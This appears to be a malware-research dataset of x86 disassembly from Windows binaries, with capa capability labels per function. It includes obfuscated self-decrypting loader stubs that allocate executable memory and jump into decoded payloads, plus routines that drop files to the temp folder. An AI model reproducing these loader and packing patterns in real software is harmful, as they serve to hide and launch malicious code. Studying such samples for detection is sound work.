joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100015a5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100015b4
pop dword [ebp - 0x18]
mov eax, 0xa6a043ff
add eax, 0x695fd1b5
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x8c7af97d
sub dword [ebp - 0x28], 0x3e28b432
mov dword [ebp - 0x24], 0xa29dddce
sub dword [ebp - 0x24], 0x706a9189
mov dword [ebp - 0x20], 0xbd2d1063
add dword [ebp - 0x20], 0x8f1f33cb
mov dword [ebp - 0x1c], 0x8bcb7290
add dword [ebp - 0x1c], 0x74348d70
lea eax, [ebp - 0x28]
push eax
mov eax, 0x4599f09d
add eax, 0xca663f67
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x724a6154
sub dword [ebp - 0x28], 0xfdd7f7fe
mov dword [ebp - 0x24], 0xddce63dd
add dword [ebp - 0x24], 0x639dfd98
mov dword [ebp - 0x20], 0xd6cef026
add dword [ebp - 0x20], 0x8ca07c46
mov dword [ebp - 0x1c], 0x8933b962
add dword [ebp - 0x1c], 0x76cc469e
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x347fb
push 0
call eax
mov ecx, 0x400f
mov esi, eax
mov edi, 0x22dec22b
add edi, 0xed21a1d5
add edi, dword [ebp - 0x18]
mov edx, 0x5840f3b7
sub edx, 0x40120ce0
sub dword [ebp - 0x14], 0x89349df
mov ebx, dword [edi]
xor dword [ebp - 0x10], ebx
sub ebx, edx
mov dword [ebp - 0x14], 0xb8e25777
mov dword [esi], ebx
add dword [ebp - 4], edi
add esi, 0x61787e8b
sub esi, 0x61787e87
add edi, 0x95ca82a0
add edi, 0x6a357d64
loop 0x100016cb
add eax, 0x2b0d08b4
sub eax, 0x2b0c15a5
mov ebx, eax
add eax, 0xf999b2f0
sub eax, 0xf999b2eb
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x100065cf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000660e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000660e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000660e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000660e
cmp dword [ecx + 0x74], 0xe
jbe 0x1000660e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000a8c0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000a95d
push ebx
push esi
call fcn.1000a889
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000a81d
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000a90a
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000a95c
push edi
push eax
call fcn.10007625
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000a92a
call fcn.100075eb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000a95b
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000a81d
add esp, 0x20
test eax, eax
jne 0x1000a949
push edi
call fcn.100075eb
jmp 0x1000a951
push ebx
call fcn.100075eb
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000abca
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014b68
push 0x10014b60
push str.FlsAlloc
push 0x1f
call fcn.1000aae6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000abfe
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001310c]
call esi
jmp 0x1000ac04
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000ac48
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014b78
push 0x10014b70
push str.FlsGetValue
push 0x21
call fcn.1000aae6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000ac7f
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001310c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000ac87
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014b80
push 0x10014b78
push str.FlsSetValue
push 0x22
call fcn.1000aae6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000acc1
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001310c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10012460
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001248d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001248d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10003ebf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10003ece
pop dword [ebp - 0x1c]
mov eax, 0x8348e9a9
sub eax, 0x7348aadb
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x7b9dbd4
sub dword [ebp - 0x2c], 0xb9679689
mov dword [ebp - 0x28], 0xd6a1b89f
add dword [ebp - 0x28], 0x5b9193a6
mov dword [ebp - 0x24], 0x70b87ee
sub dword [ebp - 0x24], 0xbabf43c0
mov dword [ebp - 0x20], 0x409bf4df
add dword [ebp - 0x20], 0xbf640b21
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x5ddb7035
sub dword [ebp - 0x2c], 0xe96906df
mov dword [ebp - 0x28], 0xa14f8910
sub dword [ebp - 0x28], 0x5fe3279b
mov dword [ebp - 0x24], 0x165e3272
sub dword [ebp - 0x24], 0xb2eec606
mov dword [ebp - 0x20], 0x20657de5
sub dword [ebp - 0x20], 0x20657de5
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x36faa
push 0
call eax
mov ecx, 0x4962
xor esi, esi
add esi, eax
mov edi, 0xb1062678
add edi, 0x5efa8f88
add edi, dword [ebp - 0x1c]
mov edx, 0x8906e3c5
add edx, 0x9989baf7
sub dword [ebp - 0x14], 0xd02acc38
mov ebx, dword [edi]
add dword [ebp - 0x18], edx
add ebx, edx
add dword [ebp - 0x18], 0xad473421
mov dword [esi], ebx
xor dword [ebp - 0x18], 0x62f653ea
add esi, 0x82c2c31
add esi, 0xf7d3d3d3
add edi, 0xbb90f9c2
add edi, 0x446f0642
loop 0x10003fe2
add eax, 0x1185b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x1002774b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1002775a
pop dword [ebp - 0x40]
mov eax, 0x1002775a
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x4012dcfe
add dword [ebp - 0x50], 0xe3f684d
mov dword [ebp - 0x4c], 0x54e91fbd
add dword [ebp - 0x4c], 0xdd4a2c88
mov dword [ebp - 0x48], 0xc1b65deb
add dword [ebp - 0x48], 0x8a95e643
mov dword [ebp - 0x44], 0x89e513e6
add dword [ebp - 0x44], 0x761aec1a
lea eax, [ebp - 0x50]
push eax
mov eax, 0x2c3829e3
sub eax, 0x1c33d8df
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x5c27e3b0
sub dword [ebp - 0x50], 0xe7b57a5a
mov dword [ebp - 0x4c], 0xbb1323de
sub dword [ebp - 0x4c], 0x79a6c269
mov dword [ebp - 0x48], 0x5334b2b1
sub dword [ebp - 0x48], 0xefc54645
mov dword [ebp - 0x44], 0x4f683226
sub dword [ebp - 0x44], 0x4f683226
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xa6277e40
add eax, 0x69dcd278
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x479cf
push 0
call eax
mov ecx, 0x28995c95
sub ecx, 0x28991f75
xor ebx, ebx
add ebx, eax
mov esi, 0x10075000
add esi, dword [ebp - 0x40]
mov edi, 0x99ebbec8
sub edi, 0x91c56f75
xor dword [ebp - 0x24], 0x6a9280ec
mov edx, dword [esi]
sub dword [ebp - 0x38], 0x634aa9f3
xor edx, edi
xor dword [ebp - 0xc], 0xf38979df
mov dword [ebx], edx
add ebx, 4
add esi, 0x4f7ac943
add esi, 0xb08536c1
loop 0x10027873
add eax, 0xf43c53df
add eax, 0xbc49374
mov ebx, eax
add eax, 0xc31c23d5
add eax, 0x3ce3dc30
mov ecx, 0xc9e6a257
add ecx, 0x46195da9
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x404fc2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0
push 0x5c302e30
push 0x312e305c
push 0x72656873
push 0x616c6620
push 0x434d4d5c
push 0x45524157
push 0x54464f53
mov dword [ebp - 0x1c], esp
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push dword [ebp - 0x1c]
push 0x80000002
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
add esp, 0x20
cmp eax, 0
jne 0x405178
push 0x747369
push 0x4c73656c
push 0x75646f4d
mov dword [ebp - 0x18], esp
push 0
push 0x65676175
push 0x676e614c
mov dword [ebp - 0x14], esp
push 0x74
push 0x6c756166
push 0x65447942
push 0x6d75736b
push 0x63656843
mov dword [ebp - 0x10], esp
push 0x7265
push 0x74706164
push 0x41746c75
push 0x61666544
mov dword [ebp - 0xc], esp
push 0x65
push 0x6c75646f
push 0x4d746c75
push 0x61666544
mov dword [ebp - 8], esp
push 0
push 0x79726f74
push 0x63657269
push 0x44746c75
push 0x61666544
mov dword [ebp - 4], esp
mov dword [ebx + 0x180], 0
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x24]
lea eax, [ebp - 0x20]
push eax
push ecx
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x28]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
cmp eax, 0
jne 0x4050ca
mov eax, dword [ebp - 0x24]
mov dword [ebx + 0x184], eax
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x24]
lea eax, [ebp - 0x20]
push eax
push ecx
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x28]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
cmp eax, 0
jne 0x4050fe
mov eax, dword [ebp - 0x24]
mov dword [ebx + 0x188], eax
or dword [ebx + 0x188], 1
mov dword [ebp - 0x20], 0x104
lea eax, [ebp - 0x20]
lea ecx, [ebx + 0x190]
push eax
push ecx
push 0
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x28]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
mov dword [ebp - 0x20], 0x104
lea eax, [ebp - 0x20]
lea ecx, [ebx + 0x294]
push eax
push ecx
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 0x28]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
mov dword [ebp - 0x20], 0x104
lea eax, [ebp - 0x20]
lea ecx, [ebx + 0x398]
push eax
push ecx
push 0
push 0
push dword [ebp - 4]
push dword [ebp - 0x28]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
add esp, 0x14
add esp, 0x10
add esp, 0x10
add esp, 0x14
add esp, 0xc
add esp, 0xc
jmp 0x4051af
mov dword [ebx + 0x180], 0
call dword [sym.imp.kernel32.dll_GetSystemDefaultLCID]
cmp eax, 0x419
jne 0x40519b
mov dword [ebx + 0x184], 1
jmp 0x4051a5
mov dword [ebx + 0x184], 0
mov dword [ebx + 0x188], 1
mov dword [ebx + 0x18c], 1
leave
ret
Function at 0x4051bb
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
lea eax, [ebx + 0x80]
push eax
call fcn.0040e171
push 0x3430
push 0x2e34302e
push 0x74726f70
push 0x70755375
push 0x72685473
push 0x7361505c
push 0x45524157
push 0x54464f53
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x234]
push eax
push 0x20019
push 0
push dword [ebp - 0x10]
push 0x80000002
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
add esp, 0x20
cmp eax, 0
jne 0x4053ee
push 0x797261
push 0x7262694c
push 0x6e6f6974
push 0x636e7546
mov dword [ebp - 0xc], esp
push 0x4d49
push 0x56206d61
push 0x65727473
push 0x68636554
push 0x20534954
push 0x202d204e
push 0x4f495441
push 0x524f5052
push 0x4f43204f
push 0x534e4544
mov dword [ebp - 8], esp
push 0x797261
push 0x7262694c
push 0x64616f4c
push 0x75726854
push 0x73736150
mov dword [ebp - 4], esp
mov dword [ebp - 0x22c], 0
lea eax, [ebp - 0x21c]
push 0x20c
push 0
push eax
call dword [sym.imp.ntdll.dll_memset]
add esp, 0xc
mov dword [ebp - 0x228], 0x104
lea eax, [ebp - 0x228]
lea ecx, [ebp - 0x218]
push 0
push 0
push 0
push 0
push eax
push ecx
push dword [ebp - 0x22c]
push dword [ebp - 0x234]
call dword [sym.imp.advapi32.dll_RegEnumKeyExA]
cmp eax, 0
jne 0x4053d9
lea eax, [ebp - 0x218]
push dword [ebp - 8]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
cmp eax, 0
je 0x4053ce
lea eax, [ebp - 0x230]
lea ecx, [ebp - 0x218]
push eax
push 0x20019
push 0
push ecx
push dword [ebp - 0x234]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
mov dword [ebp - 0x228], 0x104
lea eax, [ebp - 0x228]
lea ecx, [ebp - 0x114]
lea edx, [ebp - 0x224]
push eax
push ecx
push edx
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x230]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
cmp eax, 0
jne 0x4053c2
lea eax, [ebp - 0x114]
push 1
push 0
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
cmp eax, 0
je 0x4053c2
mov dword [ebp - 0x220], eax
xor eax, eax
test dword [ebx + 0x188], 2
jne 0x40538f
push dword [ebp - 4]
push dword [ebp - 0x220]
call dword [sym.imp.kernel32.dll_GetProcAddress]
cmp eax, 0
jne 0x4053b6
mov dword [ebp - 0x21c], 3
lea eax, [ebp - 0x21c]
lea ecx, [ebx + 0x80]
push 0x20c
push eax
push ecx
call fcn.0040e114
push dword [ebp - 0x220]
call dword [sym.imp.kernel32.dll_FreeLibrary]
push dword [ebp - 0x230]
call dword [sym.imp.advapi32.dll_RegCloseKey]
inc dword [ebp - 0x22c]
jmp 0x405295
add esp, 0x14
add esp, 0x28
add esp, 0x10
push dword [ebp - 0x234]
call dword [sym.imp.advapi32.dll_RegCloseKey]
leave
ret
Function at 0x4053f0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push 0x6c
push 0x6c642e2a
push 0x5c73656c
push 0x75646f6d
mov dword [ebp - 0x12], esp
lea eax, [ebp - 0x358]
push eax
push dword [ebp - 0x12]
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x40555e
mov dword [ebp - 0x360], eax
push 0x7325
push 0x5c73656c
push 0x75646f6d
mov dword [ebp - 0xe], esp
cmp eax, 0
je 0x40555b
lea eax, [ebp - 0x32c]
lea ecx, [ebp - 0x21a]
push eax
push dword [ebp - 0xe]
push ecx
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x21a]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
cmp eax, 0
jne 0x4054cd
push 0
push 0xa0d2273
push 0x25222024
push 0x454c5544
push 0x4f4d5f47
push 0x4e494441
push 0x4f4c5f52
push 0x4f525245
push 0x24202445
push 0x4d495424
mov dword [ebp - 0xa], esp
lea eax, [ebp - 0x32c]
lea ecx, [ebp - 0x116]
push eax
push dword [ebp - 0xa]
push ecx
call dword [sym.imp.user32.dll_wsprintfA]
lea eax, [ebp - 0x116]
push eax
call fcn.0040bbd2
add esp, 0x28
jmp 0x405543
mov dword [ebp - 0x35c], eax
push 1
push dword [ebp - 0x35c]
call dword [sym.imp.kernel32.dll_GetProcAddress]
cmp eax, 0
je 0x405543
push 0
push 0xa0d2273
push 0x25222024
push 0x454c5544
push 0x4f4d5f4e
push 0x4f495352
push 0x45565f44
push 0x4c4f5f52
push 0x4f525245
push 0x24202445
push 0x4d495424
mov dword [ebp - 6], esp
lea eax, [ebp - 0x32c]
lea ecx, [ebp - 0x116]
push eax
push dword [ebp - 6]
push ecx
call dword [sym.imp.user32.dll_wsprintfA]
lea eax, [ebp - 0x116]
push eax
call fcn.0040bbd2
add esp, 0x2c
lea eax, [ebp - 0x358]
push eax
push dword [ebp - 0x360]
call dword [sym.imp.kernel32.dll_FindNextFileA]
jmp 0x40543e
add esp, 0xc
add esp, 0x10
leave
ret

Function at 0x405e3e
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [ebx + 0x158], eax
mov dword [ebp - 4], eax
xor dword [ebp - 4], 1
push dword [ebp - 4]
push dword [ebx + 0x8bc]
call dword [sym.imp.user32.dll_EnableWindow]
push dword [ebp - 4]
push dword [ebx + 0x8c0]
call dword [sym.imp.user32.dll_EnableWindow]
push dword [ebp - 4]
push dword [ebx + 0x8c4]
call dword [sym.imp.user32.dll_EnableWindow]
push dword [ebp - 4]
push dword [ebx + 0x8d8]
call dword [sym.imp.user32.dll_EnableWindow]
push dword [ebp - 4]
push dword [ebx + 0x8dc]
call dword [sym.imp.user32.dll_EnableWindow]
push dword [ebp - 4]
push dword [ebx + 0x8e0]
call dword [sym.imp.user32.dll_EnableWindow]
push dword [ebp + 8]
push dword [ebx + 0x8ec]
call dword [sym.imp.user32.dll_ShowWindow]
cmp dword [ebx + 0xc0], 0
je 0x405eec
mov esi, dword [ebx + 0xbc]
xor edi, edi
cmp edi, dword [ebx + 0xc4]
jae 0x405eec
push dword [ebp - 4]
push dword [esi + edi]
call dword [sym.imp.user32.dll_ShowWindow]
add edi, 0x94
jmp 0x405ed0
pop edi
pop esi
leave
ret 4
Function at 0x405f09
Capabilities:
Create thread
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [ebp + 8]
cmp byte [eax + 3], 8
je 0x405f47
push 0
push 0x31202452
push 0x4f525245
push 0x5f4c414e
push 0x5245544e
push 0x495f524f
push 0x52524524
push esp
call dword [ebx + 0x30]
add esp, 0x1c
jmp 0x406114
lea ecx, [eax - 4]
add ecx, dword [ebp + 0xc]
mov ecx, dword [ecx]
mov dword [ebp - 0x328], ecx
lea ecx, [eax + 0xa]
xor eax, eax
cmp eax, 0x100
jae 0x405f6a
cmp byte [ecx + eax], 0
je 0x405f6a
inc eax
jmp 0x405f5a
cmp eax, 0x100
jae 0x405f72
inc eax
lea edx, [ebp - 0x310]
push eax
push ecx
push edx
call dword [sym.imp.ntdll.dll_memcpy]
add esp, 0xc
push dword [ebp - 0x328]
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov dword [ebp - 0x324], eax
push dword [ebp - 0x328]
push dword [ebp - 0x324]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebx + 0x4c]
cmp eax, 0
jne 0x405fde
push 0
push 0x32202452
push 0x4f525245
push 0x5f4c414e
push 0x5245544e
push 0x495f524f
push 0x52524524
push esp
call dword [ebx + 0x30]
add esp, 0x1c
jmp 0x406114
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
push 0
push 0x73255838
push 0x2e257325
mov dword [ebp - 4], esp
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.shlwapi.dll_PathFindExtensionA]
push eax
call fcn.0040b5df
lea ecx, [ebp - 0x20c]
lea edx, [ebp - 0x108]
push eax
push ecx
push dword [ebp - 4]
push edx
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0x14
add esp, 0xc
lea eax, [ebp - 0x108]
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x406080
push 0
push 0x33202452
push 0x4f525245
push 0x5f4c414e
push 0x5245544e
push 0x495f524f
push 0x52524524
push esp
call dword [ebx + 0x30]
add esp, 0x1c
jmp 0x406114
mov dword [ebp - 0x320], eax
lea ecx, [ebp - 0x31c]
push 0
push ecx
push dword [ebp - 0x328]
push dword [ebp - 0x324]
push dword [ebp - 0x320]
call dword [sym.imp.kernel32.dll_WriteFile]
push dword [ebp - 0x320]
call dword [sym.imp.kernel32.dll_CloseHandle]
push dword [ebp - 0x324]
call dword [sym.imp.kernel32.dll_GlobalFree]
lea eax, [ebp - 0x108]
lea ecx, [ebx + 0xd90]
push eax
push ecx
call dword [sym.imp.kernel32.dll_lstrcpyA]
push 0x13a0
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov dword [ebp - 0x318], eax
push 0x13a0
push ebx
push eax
call dword [sym.imp.ntdll.dll_memcpy]
add esp, 0xc
lea eax, [ebp - 0x314]
push eax
push 0
push dword [ebp - 0x318]
push 0x406118
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
leave
ret 8
Function at 0x40af43
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
xor eax, eax
dec eax
mov ecx, dword [ebp + 0x18]
mov dword [ecx], eax
push 0xa
push 0x15
push 0x400000
call dword [sym.imp.kernel32.dll_FindResourceA]
test eax, eax
je 0x40af8b
mov dword [ebp - 0x14], eax
push eax
push 0x400000
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x14]
push 0x400000
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x40af8b
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40b04b
mov ecx, dword [ebp - 0xc]
cmp byte [ecx + 3], 8
jne 0x40b042
mov eax, dword [ebp - 0x10]
mov eax, dword [ecx + eax - 4]
mov dword [ebp - 8], eax
push eax
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
push dword [ebp - 8]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebx + 0x4c]
test eax, eax
je 0x40b039
pushal
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x18], 3
jae 0x40b038
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
add edi, esi
cmp esi, edi
jae 0x40b033
cmp dword [ebp - 0x18], 0
jne 0x40afec
mov ebx, dword [ebp + 8]
jmp 0x40affa
cmp dword [ebp - 0x18], 1
jne 0x40aff7
mov ebx, dword [ebp + 0xc]
jmp 0x40affa
mov ebx, dword [ebp + 0x10]
xor ecx, ecx
mov al, byte [ebx + ecx]
cmp ecx, 0x20
jae 0x40b011
cmp al, 0
je 0x40b011
cmp al, byte [esi + ecx + 4]
jne 0x40b011
inc ecx
jmp 0x40affc
cmp al, 0
jne 0x40b01c
cmp byte [esi + ecx + 4], 0
je 0x40b020
add esi, dword [esi]
jmp 0x40afdd
mov eax, esi
sub eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x18]
mov dword [ecx], eax
mov edi, dword [ebp + 0x14]
mov ecx, dword [esi]
rep movsb byte es:[edi], byte [esi]
jmp 0x40b038
inc dword [ebp - 0x18]
jmp 0x40afcf
popal
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.kernel32.dll_FreeResource]
leave
ret 0x14

Function at 0x40bfd5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc89c
cmp dword [ebx + 0xcec], 0
je 0x40c052
lea edx, [ebp - 0xc898]
push edx
push dword [ebp + 8]
push 0
call fcn.0040c86f
lea edx, [ebp - 0xc898]
push edx
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
push 0
push 0
push 0x42dd
lea edx, [ebp - 0x42de]
push edx
push eax
lea edx, [ebp - 0xc898]
push edx
push 0
push 0
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
lea edx, [ebp - 0x42de]
push edx
call dword [sym.imp.kernel32.dll_lstrlenA]
push 0
lea edx, [ebp - 0xc89c]
push edx
push eax
lea edx, [ebp - 0x42de]
push edx
push dword [ebx + 0xcec]
call dword [sym.imp.kernel32.dll_WriteFile]
leave
ret 4
Function at 0x410cbd
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 1
push dword [ebp + 8]
call dword [sym.imp.user32.dll_KillTimer]
push 0
push dword [ebx + 0xd80]
call dword [sym.imp.user32.dll_ShowWindow]
push 1
push dword [ebx + 0xd70]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [ebx + 0xd70]
call dword [sym.imp.user32.dll_SetFocus]
leave
ret 4

Function at 0x410cf7
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea edx, [ebp - 0x10]
push edx
push dword [ebp + 8]
call dword [sym.imp.version.dll_GetFileVersionInfoSizeW]
test eax, eax
jne 0x410d11
dec eax
jmp 0x410d6a
mov dword [ebp - 0xc], eax
push eax
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov dword [ebp - 8], eax
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp + 8]
call dword [sym.imp.version.dll_GetFileVersionInfoW]
test eax, eax
jne 0x410d37
dec eax
jmp 0x410d5f
push 0x5c
lea edx, [ebp - 0xc]
push edx
lea edx, [ebp - 4]
push edx
lea edx, [esp + 8]
push edx
push dword [ebp - 8]
call dword [sym.imp.version.dll_VerQueryValueW]
add esp, 4
test eax, eax
jne 0x410d59
dec eax
jmp 0x410d5f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x10]
push eax
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_GlobalFree]
pop eax
leave
ret 4

Function at 0x410da8
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov eax, dword [ebx + 0x164]
cmp eax, 0xffffffff
jne 0x410dc1
cmp dword [ebp + 0xc], 1
jne 0x410dc1
xor eax, eax
xor eax, 0xedb88320
mov dword [ebp - 4], eax
push 0x19
push 0
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_memset]
add esp, 0xc
xor ecx, ecx
push 0x46454443
push 0x42413938
push 0x37363534
push 0x33323130
cmp ecx, 0x18
jae 0x410e2e
xor edx, edx
cmp edx, 7
ja 0x410e1b
mov eax, dword [ebp - 4]
and dword [ebp - 4], 0xfffffffe
shr dword [ebp - 4], 1
and dword [ebp - 4], 0x7fffffff
and eax, 1
je 0x410e18
xor dword [ebp - 4], 0xedb88320
inc edx
jmp 0x410df6
mov eax, dword [ebp - 4]
and eax, 0xf
movzx eax, byte [esp + eax]
mov edx, dword [ebp + 8]
mov byte [edx + ecx], al
inc ecx
jmp 0x410def
add esp, 0x10
leave
ret 8